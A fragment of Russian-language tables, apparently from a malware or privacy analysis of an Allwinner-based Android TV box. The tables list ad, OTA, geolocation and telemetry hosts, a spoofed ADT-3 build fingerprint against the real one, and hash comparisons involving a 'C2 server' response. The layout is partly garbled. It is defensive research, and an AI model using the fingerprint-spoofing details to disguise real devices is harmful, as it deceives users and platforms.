pb-api.aodintech.com | GET /api/collections/... | Конфигурация рекламы |
ota.triplesai.com:8080 | POST /V1/Ota/Check | Обновления прошивки |
api.ipdatacloud.com | GET /v2/query | Геолокация по IP |
euads-o.api.leiniao.com | — | Вторичный рекламный сервер |
connect.rom.miui.com | — | Телеметрия Xiaomi |
| Поддельное значение |
|---|
| Реальное значение |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| Дата сборки | — | Tue Apr 22 15:20 CST 2025 |
| SHA-256 |
|---|
| Ответ сервера C2 | 5df097591d694... | — |
| Наш декодированный APK | 5df097591d694... | e5a193c31526a... |
| Внешний анализ | — | e5a193c31526a... |